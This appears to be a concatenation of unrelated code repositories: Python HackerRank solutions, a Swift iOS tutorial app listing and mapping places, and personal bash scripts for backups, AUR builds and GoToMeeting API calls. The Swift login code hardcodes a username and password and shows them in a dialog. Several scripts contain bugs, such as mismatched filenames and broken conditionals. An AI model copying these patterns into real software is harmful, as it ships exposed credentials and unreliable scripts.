Code:", e2) # Built-ins # 1 - Zipped! # Enter your code here. Read input from STDIN. Print output to STDOUT n, x = map(int, input().split()) l=[] for _ in range(x): l=l+[list(map(float, input().split()))] other=zip(*l) for t in other: print(sum(t)/x) # 2 -ginortS # Enter your code here. Read input from STDIN. Print output to STDOUT s=input() lo=[] up=[] odd=[] even=[] for c in s: if c.islower(): lo.append(c) elif c.isupper(): up.append(c) elif c.isdigit(): if int(c)%2==0: even.append(c) else: odd.append(c) up.sort() lo.sort() odd.sort() even.sort() print(''.join(lo+up+odd+even)) # map-and-lambda-expression # 1 - Map and Lambda Function cube = lambda x: x**3# complete the lambda function def fibonacci(n): if n==0: return [] elif n==1: return [0] else: l=[-1 for i in range(n)] l[0]=0 l[1]=1 for i in range(2, n): l[i]=l[i-1]+l[i-2] return(l) if __name__ == '__main__': n = int(input()) print(list(map(cube, fibonacci(n)))) # - xml # 1 - XML 1 - Find the Score import sys import xml.etree.ElementTree as etree def get_attr_number(node): # your code goes here a=0 a+=len(node.attrib) #print(len(node.attrib), node.text , node.attrib) for child in node: a+=len(child.attrib) #print(len(child.attrib), child.text, child.attrib) for ch in child: a+=len(ch.attrib) return a if __name__ == '__main__': sys.stdin.readline() xml = sys.stdin.read() tree = etree.ElementTree(etree.fromstring(xml)) root = tree.getroot() print(get_attr_number(root)) # 2 - XML2 - Find the Maximum Depth import xml.etree.ElementTree as etree maxdepth = 0 def depth(elem, level): global maxdepth # your code goes here maxdepth=level+1 if maxdepth<=level+1 else maxdepth if len(elem.getchildren())>0: for c in elem.getchildren(): depth(c, level+1) if __name__ == '__main__': n = int(input()) xml = "" for i in range(n): xml = xml + input() + "\n" tree = etree.ElementTree(etree.fromstring(xml)) depth(tree.getroot(), -1) print(maxdepth) # - closures-and-decorator # 1 - Closures and Decorators def wrapper(f): def fun(l): # complete the function n=len(l) myl=['' for i in range(n)] for i in range(n): myl[i]=l[i][-10:] myl.sort() for i in range(n): print(''.join(['+','9','1', ' ']+list(myl[i][:5])+[' ']+list(myl[i][5:]))) return fun @wrapper def sort_phone(l): print(*sorted(l), sep='\n') if __name__ == '__main__': l = [input() for _ in range(int(input()))] sort_phone(l) # - numpy # 1 - Arrays import numpy def arrays(arr): # complete this function # use numpy.array a=[float(x) for x in arr] a.reverse() return(numpy.array(a)) arr = input().strip().split(' ') result = arrays(arr) print(result) # 2 - #PARTE 2 # 1 - Birthday Cake Candles #!/bin/python3 import math import os import random import re import sys # Complete the birthdayCakeCandles function below. def birthdayCakeCandles(ar): m=max(ar) talles=[x for x in ar if x==m] return len(talles) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') ar_count = int(input()) ar = list(map(int, input().rstrip().split())) result = birthdayCakeCandles(ar) fptr.write(str(result) + '\n') fptr.close() # out - Time Conversion #!/bin/python3 import os import sys # # Complete the timeConversion function below. # def timeConversion(s): # # Write your code here. # if s[8:] == "AM" and s[:2] == "12": return "00" + s[2:8] elif s[8:] == "AM": return s[:8] elif s[8:] == "PM" and s[:2] == "12": return s[:8] else: return str(int(s[:2]) + 12) + s[2:8] timeConversion('12:45:54PM') if __name__ == '__main__': f = open(os.environ['OUTPUT_PATH'], 'w') s = input() result = timeConversion(s) f.write(result + '\n') f.close() # 2 - Insertion Sort - Part 1 #!/bin/python3 import math import os import random import re import sys # Complete the insertionSort1 function below. def insertionSort1(n, arr): v=arr[len(arr)-1] i=len(arr)-1 while arr[i-1]>v and i>0: arr[i]=arr[i-1] print(' '.join(map(str, arr))) i-=1 arr[i]=v print(' '.join(map(str, arr))) if __name__ == '__main__': n = int(input()) arr = list(map(int, input().rstrip().split())) insertionSort1(n, arr) # 3 - Insertion Sort - Part 2 #!/bin/python3 import math import os import random import re import sys def myinsertionSort(n, arr): v=arr[len(arr)-1] i=len(arr)-1 while arr[i-1]>v and i>0: arr[i]=arr[i-1] i-=1 arr[i]=v return(arr) # Complete the insertionSort2 function below. def insertionSort2(n, arr): subArr= [] #print(' '.join(map(str, arr))) for i in range(1, len(arr)): arr=myinsertionSort(i, arr[:i+1])+arr[i+1:] print(' '.join(map(str, arr))) if __name__ == '__main__': n = int(input()) arr = list(map(int, input().rstrip().split())) insertionSort2(n, arr) # 4 - Recursive Digit Sum #!/bin/python3 import math import os import random import re import sys # Complete the superDigit function below. def superDigit(n, k): digitOfn=0 for c in n: digitOfn+=int(c) digitOfnk=str(digitOfn*k) if len(digitOfnk)==1: return(digitOfnk) else: return(superDigit(digitOfnk, 1)) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') nk = input().split() n = nk[0] k = int(nk[1]) result = superDigit(n, k) fptr.write(str(result) + '\n') fptr.close() # 5 - Viral Advertising #!/bin/python3 import math import os import random import re import sys # Complete the viralAdvertising function below. def myViralAdvertising(day, prec, cum): if day==0: return(cum) else: prec=int(prec*3/2) cum+=prec return(myViralAdvertising(day-1, prec, cum)) def viralAdvertising(n): prec=2 cum=2 return(myViralAdvertising(n-1, prec, cum)) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') n = int(input()) result = viralAdvertising(n) fptr.write(str(result) + '\n') fptr.close() # 6 - Kangaroo #!/bin/python3 import math import os import random import re import sys # Complete the kangaroo function below. def kangaroo(x1, v1, x2, v2): if x1>x2 and v1>v2: return('NO') elif x2>x1 and v2>v1: return('NO') elif x1==x2 and v1==v2: return('YES') elif x1!=x2 and v1==v2: return('NO') else: piùAvanti=x1 if x1>x2 else x2 velPiùAvanti=v1 if piùAvanti==x1 else v2 piùIndietro=x1 if piùAvanti==x2 else x2 velPiùIndietro=v1 if piùIndietro==x1 else v2 print(piùAvanti, velPiùAvanti, piùIndietro, velPiùIndietro) while piùAvanti>=piùIndietro: piùAvanti+=velPiùAvanti piùIndietro+=velPiùIndietro if piùAvanti==piùIndietro: return('YES') return('NO') if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') x1V1X2V2 = input().split() x1 = int(x1V1X2V2[0]) v1 = int(x1V1X2V2[1]) x2 = int(x1V1X2V2[2]) v2 = int(x1V1X2V2[3]) result = kangaroo(x1, v1, x2, v2) fptr.write(result + '\n') fptr.close() <file_sep># ADM-HW1 This file have to contain information about the content of this homework. For this first HW this file contains only an example of text for a README.md file The content of this HW it's explained on the pdf file that explais the HW itself You can find the pdf file at the following addres: http://aris.me/contents/teaching/data-mining-ds-2019/homeworks/homework1.pdf All files in this repository is created by <NAME> only
e9194e0b4f93d58f151af57709b0d472b4c92e33
[ "Markdown", "Python" ]
2
Python
santiagoparaella/ADM-HW1
3e9461877e02d467a1753a19297f02b5dd35647f
fc01696ca07d5492bb47d28b582bfeebdea987dd
refs/heads/main
<file_sep>// // Navigator.swift // Tutorial_iOS // // Created by Manuel on 08/02/2021. // import Foundation import UIKit func navigateToSecondScreenVC (_ viewController: UIViewController, tab: SecondScreenVC.SecondScreenPage){ //let secondScreenVC = SecondScreenVC(nibName: String(describing: SecondScreenVC.self), bundle: nil) let secondScreenVC = SecondScreenVC() secondScreenVC.selectedTab = tab viewController.navigationController?.pushViewController(secondScreenVC, animated: true) } func navigateToSiteDetailVC(_ viewController: UIViewController, id: String){ let siteDetailVC = SiteDetailVC() siteDetailVC.id = id siteDetailVC.modalPresentationStyle = .fullScreen viewController.navigationController?.pushViewController(siteDetailVC, animated: true) } <file_sep>// // Location.swift // Tutorial_iOS // // Created by Manuel on 08/03/2021. // import Foundation class Location { var lat: Double var lng: Double init(lat: Double, lng: Double) { self.lat = lat self.lng = lng } } <file_sep>// // File.swift // Tutorial_iOS // // Created by Manuel on 09/02/2021. // import Foundation import UIKit class Site { static let instance = Site() let id: String = "" let title: String = "" let location: String = "" var fav: Bool = false var hasDetail: Bool = false var isFromLocal: Bool = false } <file_sep>// // LoginVC.swift // Tutorial_iOS // // Created by Manuel on 08/02/2021. // import UIKit class LoginVC: UIViewController, LoginViewDelegate { @IBOutlet weak var dataContainerView: UIView! @IBOutlet weak var emailText: UITextField! @IBOutlet weak var passwordText: UITextField! @IBOutlet weak var loginButton: UIButton! @IBOutlet weak var forgotPasswordButton: UIButton! @IBOutlet weak var createAccountButton: UIButton! private lazy var presenter: LoginPresenter = LoginPresenter(view: self) override func viewDidLoad() { super.viewDidLoad() dataContainerView.layer.borderColor = ColorHelper().greyBorderColor.cgColor dataContainerView.layer.borderWidth = 1 dataContainerView.layer.cornerRadius = 5 dataContainerView.clipsToBounds = true loginButton.round() createAccountButton.round() } override func viewWillAppear(_ animated: Bool) { super.viewWillAppear(animated) self.navigationController?.navigationBar.isHidden = true } override func viewWillDisappear(_ animated: Bool) { super.viewWillDisappear(animated) self.navigationController?.navigationBar.isHidden = false } private func showDialog(alertTitle: String, message: String, actionTitle:String){ let alert = UIAlertController(title: alertTitle, message:message, preferredStyle: .alert) let action = UIAlertAction(title: actionTitle, style: .cancel) alert.addAction(action) self.present(alert, animated: true) } func showInvalidCredentialsDialog () { showDialog(alertTitle: "Error", message: "Introduzca las credenciales correctas", actionTitle: "Ok") } @IBAction func onLoginClicked(_ sender: Any) { presenter.onLoginClicked() } @IBAction func rememberPassword(_ sender: Any) { showDialog(alertTitle: "Aquí tienes tu contraseña", message: "\(presenter.getRightPassword())", actionTitle: "OK") } @IBAction func newAccount(_ sender: Any) { showDialog(alertTitle: "Credenciales de tu cuenta", message: "Usuario: \(presenter.getRightEmail()), contraseña: \(presenter.getRightPassword())", actionTitle: "OK") } func navigateToList() { navigateToSecondScreenVC(self, tab: SecondScreenVC.SecondScreenPage.LIST) } func getEmail() -> String { return emailText.text ?? "" } func getPassword() -> String { return passwordText.text ?? "" } } <file_sep>// // ListVC.swift // Tutorial_iOS // // Created by Manuel on 08/02/2021. // import UIKit import Alamofire class ListVC: UIViewController, UITableViewDataSource { @IBOutlet weak var sites: UITableView! var siteList : [Site] = [] override func viewDidLoad() { super.viewDidLoad() let nib = UINib(nibName: "SiteTableViewCell", bundle: nil) sites.register(nib, forCellReuseIdentifier: "Site Cell") sites.dataSource = self getSites() } func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { siteList.count } func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = sites.dequeueReusableCell(withIdentifier: "Site Cell", for: indexPath) as! SiteTableViewCell cell.id = siteList[indexPath.row].id cell.titleSite.text = siteList[indexPath.row].title let coordText = String(format: "%f", siteList[indexPath.row].geocoordinates.lat) + ", " + String(format: "%f", siteList[indexPath.row].geocoordinates.lng) cell.coordLabel.text = coordText cell.delegate = self return cell } func getSites(){ Alamofire.request("http://t21services.herokuapp.com/points").responseJSON { response in if let JSON = response.result.value as! [String:Any]? { if let jsonArray = JSON["list"] as? [[String:Any]] { for json in jsonArray { let id = json["id"] as! String let title = json["title"] as! String let geocoordinates = json["geocoordinates"] as! String let coordArray = geocoordinates.split(separator: ",") let location: Location = Location.init(lat: Double(coordArray[0]) ?? 0, lng: Double(coordArray[1]) ?? 0) let site = Site.init(id: id, title: title, geocoordinates: location) self.siteList.append(site) } self.sites.reloadData() } } } } } extension ListVC: CellToDetailProtocol { func goToDetail(id: String) { navigateToSiteDetailVC(self, id: id) } } <file_sep>// // SiteTableViewCell.swift // Tutorial_iOS // // Created by Manuel on 08/02/2021. // import UIKit class SiteTableViewCell: UITableViewCell { @IBOutlet weak var coordLabel: UILabel! @IBOutlet weak var titleSite: UILabel! var id: String! var delegate: CellToDetailProtocol? override func awakeFromNib() { super.awakeFromNib() } override func setSelected(_ selected: Bool, animated: Bool) { super.setSelected(selected, animated: animated) } @IBAction func navigateToDetail(_ sender: Any) { self.delegate?.goToDetail(id: id) } } protocol CellToDetailProtocol: AnyObject { func goToDetail(id: String) } <file_sep>// // Extensions.swift // Tutorial_iOS // // Created by Manuel on 05/02/2021. // import Foundation import UIKit extension UIButton { func round(){ layer.cornerRadius = 5 clipsToBounds = true } } <file_sep>// // Constants.swift // Tutorial_iOS // // Created by Manuel on 05/02/2021. // import Foundation import UIKit struct ColorHelper { let greyBorderColor = UIColor (red: 254/255, green: 254/255, blue: 254/255, alpha: 1) } <file_sep>// // SiteDetailVC.swift // Tutorial_iOS // // Created by Manuel on 10/02/2021. // import UIKit import Alamofire class SiteDetailVC: UIViewController { @IBOutlet weak var siteDetailTitle: UILabel! @IBOutlet weak var siteDetailAddress: UILabel! @IBOutlet weak var siteDetailDescription: UILabel! @IBOutlet weak var siteDetailCoord: UILabel! @IBOutlet weak var siteDetailTransport: UILabel! @IBOutlet weak var siteDetailEmail: UILabel! @IBOutlet weak var siteDetailPhone: UILabel! var id : String! override func viewDidLoad() { super.viewDidLoad() getSiteDetail() } func getSiteDetail(){ let url = "http://t21services.herokuapp.com/points/" + self.id Alamofire.request(url).responseJSON { response in if let json = response.result.value as! [String:Any]? { let id = json["id"] as! String let title = json["title"] as! String let address = json["address"] as! String let transport = json["transport"] as! String let email = json["email"] as! String let geocoordinates = json["geocoordinates"] as! String let description = json["description"] as! String let phone = json["phone"] as! String self.siteDetailTitle.text = title.changeNullByDash() self.siteDetailAddress.text = address.changeNullByDash() self.siteDetailDescription.text = description.changeNullByDash() self.siteDetailCoord.text = geocoordinates.changeNullByDash() self.siteDetailTransport.text = transport.changeNullByDash() self.siteDetailEmail.text = email.changeNullByDash() self.siteDetailPhone.text = phone.changeNullByDash() } } } } extension String { func changeNullByDash()->String { let dash = "-" if (self == "null"){ return dash } else{ return self } } } <file_sep>// // SecondScreenVC.swift // Pods // // Created by Manuel on 18/02/2021. // import UIKit class SecondScreenVC: UIViewController, LZViewPagerDataSource, LZViewPagerDelegate { enum SecondScreenPage { case LIST; case MAP; } @IBOutlet weak var viewPager: LZViewPager! private var subControllers:[UIViewController] = [] var selectedTab = SecondScreenPage.LIST override func viewDidLoad() { super.viewDidLoad() viewPager.dataSource = self viewPager.delegate = self viewPager.hostController = self let vc1 = ListVC() vc1.title = "Lugares" let vc2 = MapVC() vc2.title = "Mapa" subControllers = [vc1, vc2] viewPager.reload() var index = 0 switch selectedTab { case .MAP: index = 1 break; default: index = 0 } viewPager.select(index: index) } override func viewWillAppear(_ animated: Bool) { super.viewWillAppear(animated) navigationItem.hidesBackButton = true self.navigationController?.setNavigationBarHidden(true, animated: animated) } override func viewWillDisappear(_ animated: Bool) { super.viewWillDisappear(animated) navigationItem.hidesBackButton = false self.navigationController?.setNavigationBarHidden(false, animated: animated) } func numberOfItems() -> Int { subControllers.count } func controller(at index: Int) -> UIViewController { subControllers[index] } func button(at index: Int) -> UIButton { let button = UIButton() button.setTitleColor(UIColor.black, for: .normal) button.titleLabel?.font = UIFont.systemFont(ofSize: 12) return button } } <file_sep>// // SiteDetail.swift // Tutorial_iOS // // Created by Manuel on 19/02/2021. // import Foundation class SiteDetail { var id = "" var title = "" var address = "" var transport = "" var email = "" var geocoordinates: Location var description = "" var phone = "" init(id: String, title: String, address: String, transport: String, email: String, geocoordinates: Location, description: String, phone: String) { self.id = id self.title = title self.address = address self.transport = transport self.email = email self.geocoordinates = geocoordinates self.description = description self.phone = phone } } <file_sep>// // ListPresenter.swift // Tutorial_iOS // // Created by Manuel on 12/02/2021. // import Foundation import UIKit protocol ListViewDelegate { } class ListPresenter { } <file_sep>// // LoginPresenter.swift // Tutorial_iOS // // Created by Manuel on 11/02/2021. // import Foundation import UIKit protocol LoginViewDelegate: NSObjectProtocol { func showInvalidCredentialsDialog() func navigateToList() func getEmail()->String func getPassword()->String } class LoginPresenter { private var view : LoginViewDelegate? private let rightEmail: String = "Manuel" private let rightPassword: String = "123" init(view: LoginViewDelegate) { self.view = view } func getRightEmail()->String{ return rightEmail } func getRightPassword()->String{ return rightPassword } func onLoginClicked(){ if view?.getEmail() == rightEmail && view?.getPassword() == rightPassword { view?.navigateToList() }else{ view?.showInvalidCredentialsDialog() } } } <file_sep>// // Site.swift // Tutorial_iOS // // Created by Manuel on 19/02/2021. // import Foundation class Site { var id = "" var title = "" var geocoordinates: Location init(id: String, title: String, geocoordinates: Location) { self.id = id self.title = title self.geocoordinates = geocoordinates } } <file_sep>source 'https://github.com/CocoaPods/Specs.git' platform :ios, '14.3' use_frameworks! project '../Tutorial_iOS' target 'Tutorial_iOS' do pod 'SnapKit', '~> 5.0.0' pod 'Alamofire', '~> 4.7' end <file_sep>// // MapVC.swift // Tutorial_iOS // // Created by Manuel on 17/02/2021. // import UIKit import MapKit class MapVC: UIViewController { @IBOutlet weak var mapView: MKMapView! override func viewDidLoad() { super.viewDidLoad() let initialLocation = CLLocation(latitude: 41.3879, longitude: 2.16992) let region = MKCoordinateRegion( center: initialLocation.coordinate, latitudinalMeters: 50000, longitudinalMeters: 60000) mapView.setCameraBoundary( MKMapView.CameraBoundary(coordinateRegion: region), animated: true) let zoomRange = MKMapView.CameraZoomRange(maxCenterCoordinateDistance: 200000) mapView.setCameraZoomRange(zoomRange, animated: true) } func showSites (sites: [Site]){ for site in sites { let annotation = Annotation(title: site.title, coordinate: CLLocationCoordinate2D(latitude: site.geocoordinates.lat, longitude: site.geocoordinates.lng)) mapView.addAnnotation(annotation) } } } <file_sep>// // Annotation.swift // Tutorial_iOS // // Created by Manuel on 08/03/2021. // import Foundation import MapKit class Annotation: NSObject, MKAnnotation { let title: String? let coordinate: CLLocationCoordinate2D init( title: String?, coordinate: CLLocationCoordinate2D ) { self.title = title self.coordinate = coordinate super.init() } }
7fc903f23937dfa1d44a85dd4a387200304bd70f
[ "Swift", "Ruby" ]
17
Swift
manuraal/first_app_ios
496f1322d387ad46efcdd71bd702b52c858be456
a95deeafe59e9d33678d691f504a913a31afb853
refs/heads/master
<repo_name>Bharath8877/Wiki-Search-Application<file_sep>/app/src/main/java/com/infidata/www/wiki_search/webSearch.java package com.infidata.www.wiki_search; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.webkit.WebView; import android.webkit.WebViewClient; public class webSearch extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_web_search); Intent in=getIntent(); String a=in.getStringExtra("data"); WebView wv=findViewById(R.id.wv); String url="https://en.wikipedia.org/wiki/"+a; wv.setWebViewClient(new WebViewClient()); wv.loadUrl(url); } } <file_sep>/app/src/main/java/com/infidata/www/wiki_search/MainActivity.java package com.infidata.www.wiki_search; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.webkit.WebView; import android.widget.EditText; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.ListView; import android.widget.Toast; import java.util.ArrayList; import java.util.List; public class MainActivity extends Activity { List<String> bfs; ArrayAdapter<String> arrayAdapter; EditText editText; ListView listView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); listView=findViewById(R.id.listView); bfs=new ArrayList<String>(); editText=findViewById(R.id.editText); arrayAdapter=new ArrayAdapter<String>(this,android.R.layout.simple_list_item_1,bfs); listView.setAdapter(arrayAdapter); listView.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) { Intent in = new Intent(getApplicationContext(), webSearch.class); in.putExtra("data", bfs.get(position)); startActivity(in); } }); listView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { @Override public boolean onItemLongClick(AdapterView<?> adapterView, View view, int pos, long id) { bfs.remove(pos); arrayAdapter.notifyDataSetChanged(); return true; } }); } public void add(View view) { String data=editText.getText().toString(); bfs.add(data); arrayAdapter.notifyDataSetChanged(); editText.setText(""); } }
3baaca87dc7e9c4b90d0213cb10e57b0aa305909
[ "Java" ]
2
Java
Bharath8877/Wiki-Search-Application
53bfd42b257455ded4aef9b689f5abdf1ead67ae
92c3ae86ff543dba689adedb9fd62c571b90ad88
refs/heads/master
<repo_name>robotmachine/bash-misc<file_sep>/nzb-watch.sh #!/bin/bash # localWatchDir="/home/brian/work/" sabWatchDir="/opt/sabnzbd/Watch/" find "$localWatchDir" -iname "*.nzb" | while read nzbFile ; do mv "$nzbFile" "$sabWatchDir" done <file_sep>/Unzipper.sh #!/bin/bash # # Unzipper # # Usage: $> Unzipper.sh /directory/to/search # # Unzipper will locate any .zip files and extract them in their current folder within a new directory taken from the filename. if [[ "$@" ]]; then findDir="$@" else findDir="$(echo $PWD)" fi find "$findDir" -iname "*.zip" | while read zipFile ; do folderName=${zipFile%.*} mkdir "$folderName" unzip -j "$zipFile" -d "$folderName" rm "$zipFile" done <file_sep>/ndc #!/bin/bash if [ $@ ] ; then find $@/* -maxdepth 0 -type d -mtime -2 -print0 | xargs -0 -I {} rsync -aP {} "$PWD" else echo "No directory selected. Usage: ndc /path/to/directory" fi <file_sep>/g2m-create.sh #!/bin/bash # This script will create recurring GoToMeeting sessions # Fill in the data below. meetTitle will be something # like 'Test' so that the meetings will be called # 'Test 01', 'Test 02', and so on authToken="##INSERT AUTH TOKEN HERE ##" numberSess="## INSERT WHOLE INTEGER HERE ##" meetTitle="## INSERT NAME OF MEETING ##" for count in $(seq -f "%02g" 1 $numberSess); do curl -X POST -H "Content-Type: application/json" -H "Accept: application/json" -H "Authorization: Bearer $authToken" -d '{ "subject": "'"$meetTitle $(echo $count)"'", "starttime": "2017-01-01T12:00:00Z", "endtime": "2017-01-01T13:00:00Z", "passwordrequired": <PASSWORD>, "conferencecallinfo": "hybrid", "timezonekey": "", "meetingtype": "recurring" }' "https://api.citrixonline.com/G2M/rest/meetings" done <file_sep>/jekyllRM.sh #!/bin/bash jekyll build rsync -aP _site/ -e ssh <EMAIL>:~/public_html/ <file_sep>/nd #!/bin/bash if [ $@ ] ; then find $@/* -maxdepth 0 -mtime -2 -print else find ./* -maxdepth 0 -mtime -2 -print fi <file_sep>/tmuxbatt.sh #!/bin/bash BSTAT=$(acpi | grep Full >/dev/null 2>/dev/null && echo "⊙" g|| acpi | grep Charging >/dev/null 2>/dev/null && echo "⊕" || acpi | grep Discharging >/dev/null 2>/dev/null && echo "⊗" || echo "?") BPERC=$(acpi | awk '{ print $4 }' | sed 's/,//g' | sed 's/%//g') echo "$BSTAT $BPERC%" <file_sep>/flac-to-mp3-v0 #!/bin/bash for flacFile in *.flac do mp3File="${flacFile%.*}.mp3" flac -c -d "$flacFile" | lame -m j -q 0 --vbr-new -V 0 -s 44.1 - "$mp3File" done <file_sep>/arch_maint.sh #!/bin/bash # # Clean package cache sudo pacman -Sc # # Optimise the Pacman database sudo pacman-optimize <file_sep>/dff #!/bin/bash hName=$(cat /etc/hostname) if [[ "$hName" == 'maeve' ]]; then home="/dev/sda2" backup="/dev/sdc1" media="/dev/sdb1" elif [[ "$hName" == 'server' ]]; then home="/dev/sda1" backup="/dev/sdb1" media="/dev/sdc1" fi df -H / /home/media /media/backup | sed "s@$home@Root @g" | sed "s@$backup@Backup @g" | sed "s@$media@Media @g" <file_sep>/aur_check.sh #!/bin/bash # ## For loop looks in every directory within the aur directory. for AurPkg in ~/doc/aur/* ; do unset GitPull unset GitStat pushd "$AurPkg" >/dev/null 2<&1 # Work only with git repos if [ ! -d .git ]; then popd continue fi # Remove src directories and clean any previously created files if [ -d src ] ; then rm -rf src fi git clean -df >/dev/null 2<&1 # AurName is the name of the directory AurName="$(echo "$AurPkg" | awk -F \/ '{ print $NF }')" # Arbitrary spacing character SpaceChar=".:." # Do a git pull and store the output in GitPull GitPull=$(git pull) # Check if GitPull was up to date or if it pulled something. if [[ $GitPull == "Already up-to-date." ]]; then GitStat=$GitPull else GitStat="Updated." fi # Print the results printf "%30s %s %s\n" "$AurName" "$SpaceChar" "$(git pull)" popd >/dev/null 2<&1 done <file_sep>/killrem #!/bin/bash REMPID=$(pgrep rem) REMCOUNT=$(echo $REMPID | wc -w | tr -d ' ') if [[ -z "$REMPID" ]]; then exit else killall rem if [[ "$REMCOUNT" -gt 2 ]]; then /Users/brian/.bin/pushpipe --title "REM overflow" --device "robot" -m "Found $REMCOUNT processes running." fi fi <file_sep>/archreflector.sh #!/bin/bash # # Reflector sudo reflector --verbose --country 'United States' -l 200 -p https --sort rate --save /etc/pacman.d/mirrorlist <file_sep>/joinfiles.sh #!/bin/bash # cleanup() { rm intermediate1.mpg rm intermediate2.mpg } trap "cleanup" EXIT ffmpeg -i "$1" -qscale:v 1 intermediate1.mpg ffmpeg -i "$2" -qscale:v 1 intermediate2.mpg ffmpeg -i concat:"intermediate1.mpg|intermediate2.mpg" -c copy intermediate_all.mpg ~/.bin/pushpipe --title "ffmpeg" -m "Done joining $1 and $2" <file_sep>/PushoverPost.sh #!/bin/bash BIN="/usr/bin/python3 /home/brian/.bin/pushpipe" PTITLE="SABnzbd+" FNAME="$3" PSTAT="$7" $BIN -m "$FNAME completed." --title "$PTITLE" #if [[ $FSTAT == 0 ]]; then # $BIN -m "$FNAME completed." --title "$PTITLE" #else # $BIN -m "$FNAME failed." --title "$PTITLE" #fi <file_sep>/aurinstall.sh #!/bin/bash AURDIR="$HOME/doc/aur" TARBALL="$@" TARFN="$(echo "$TARBALL" | awk -F \/ '{ print $NF }')" APPNAME="$(echo "$TARFN" | sed 's/.tar.gz//g')" if [ -e "$AURDIR/$APPNAME" ] ; then mv "$AURDIR/$APPNAME" "$AURDIR/archive/$(date +%Y-%m-%d)-$APPNAME" fi wget "$TARBALL" -O "$AURDIR/$TARFN" tar -xC "$AURDIR" -f "$AURDIR/$TARFN" rm "$AURDIR/$TARFN" cd "$AURDIR/$APPNAME" makepkg -is <file_sep>/get-ip-public #!/bin/bash lynx -dump www.whatismyip.com | grep 'Your IP Address Is' | sed 's/ Your IP Address Is: //g' <file_sep>/battery.sh #!/bin/bash # # Battery Status # # Determine the state of the battery. if $(acpi | grep Full) ; then STATE="⊙" elif $(acpi | grep Charging) ; then STATE="⊕" elif $(acpi | grep Discharging) ; then STATE="⊗" else STATE="?" fi echo $STATE <file_sep>/WatchMove.sh #!/bin/bash WATCH1="/home/brian/Sync/Watch" WATCH2="/home/utility/Newsbin/Watch" if [[ $(find "$WATCH1" -type f -iname "*.nzb" -print) ]] ; then for NZB in "$WATCH1"/*.nzb ; do install -o sabnzbd -g users -m 775 "$NZB" "$WATCH2" ; rm "$NZB" ; done fi <file_sep>/isrun.sh #!/bin/bash # ## TODO ## Kill if found ## Return PID? # # Looks for running process. # SPROC="$@" # ps aux | grep -i $SPROC | grep -v isrun | grep -v grep <file_sep>/remarchive.sh #!/bin/bash # Moves last year's reminders to ./archive/ # Variables for this year and last year. export YEAR=$(date +%Y) export LY=$(echo "$YEAR-1" | bc) # Creates ./archive/ if it doesn't already exist. if [ ! -d archive ]; then mkdir archive; fi # Finds lines that happened last year or are tagged #archive and moves them to an archive file in ./archive/ for x in *.txt do cat "$x" | grep "$LY" >> ./archive/$LY\.$(echo "$x" | sed 's/\.txt/\.archive\.txt/g') cat "$x" | grep "#archive" >> ./archive/$LY\.$(echo "$x" | sed 's/\.txt/\.archive\.txt/g') done # Create .tmp files from the lines that are not from last year. for x in *.txt do cat "$x" | egrep -v $LY > ./$(echo "$x" | sed 's/\.txt/\.tmp/g') done # Delete original .txt files. rm *.txt # Move .tmp files to .txt for x in *.tmp do mv "$x" $(echo "$x" | sed 's/\.tmp/\.txt/g') done <file_sep>/rem2task.sh #!/bin/bash /usr/bin/rem | grep tomorrow | while read -r reminder ; do task add tag:Remind "$(echo $reminder | sed 's/ tomorrow.//g')" done <file_sep>/g2m-delete.sh #!/bin/bash authToken="## INSERT AUTH TOKEN HERE ##" if [[ ! -e list.json ]]; then curl -X GET -H "Content-Type: application/json" -H "Accept: application/json" -H "Authorization: Bearer $authToken" "https://api.citrixonline.com/G2M/rest/upcomingMeetings" > meetlist.json echo "Please review meetlist.json and re-run." exit else echo "This will delete every meeting ID found in meetlist.json" echo -n "Do you want to proceed? [y/N]: " read prompt fi if [[ $prompt != y ]]; then exit else for meetId in $(cat list.json| sed "s/},/\n/g" | sed 's/.*"meetingId":"\([^"]*\)".*/\1/') ; do curl -X DELETE -H "Content-Type: application/json" -H "Accept: application/json" -H "Authorization: Bearer $authToken" "https://api.citrixonline.com/G2M/rest/meetings/$meetId" done fi <file_sep>/tarsnap_backup.sh #!/bin/bash # if [ $@ ] ; then BackDir="$1" BackFN="$BackDir""$(date '+-%Y-%m-%d')" else echo "Usage: tsb Directory" exit fi if [ ! -d "$BackDir" ]; then echo "Cannot find $BackDir" exit fi tarsnap -vcf "$BackFN" "$BackDir" if [ $? != 0 ]; then exit else echo "$BackFN" fi <file_sep>/backup-script.sh #!/bin/bash # # ## Running script with the argument 'cron' runs script silently. if [ "$1" == 'cron' ] ; then OPTIONS='aq' else OPTIONS='aP' fi # ## Backup the media drive to the backup drive. /usr/bin/rsync -$OPTIONS --exclude-from="/home/brian/Sync/Backup/backup-exclude.txt" --delete --iconv=utf8 /home/media/ /media/backup/media/ /usr/bin/rsync -$OPTIONS --delete --iconv=utf8 /home/media/video/ /media/backup2/video/ # ## Once completed, check the status and finish a report. # ## Set report file. REPORTFILE='/home/brian/Sync/Backup/syncreport.txt' # ## Rotate if [ -e $REPORTFILE ] ; then mv $REPORTFILE $REPORTFILE.bak fi # ## Date Stamp date "+%d/%m/%Y @ %H:%M" > $REPORTFILE # ## Check size of directories. VIDCHECK=$(echo "$(du -md 0 /home/media/video | cut -f 1) - $(du -md 0 /media/backup/media/video | cut -f 1)" | bc) AUDCHECK=$(echo "$(du -md 0 /home/media/audio | cut -f 1) - $(du -md 0 /media/backup/media/audio | cut -f 1)" | bc) PHOCHECK=$(echo "$(du -md 0 /home/media/photos | cut -f 1) - $(du -md 0 /media/backup/media/photos | cut -f 1)" | bc) # ## Create report. echo "Video is out of sync by $VIDCHECK MB" >> $REPORTFILE echo "Audio is out of sync by $AUDCHECK MB" >> $REPORTFILE echo 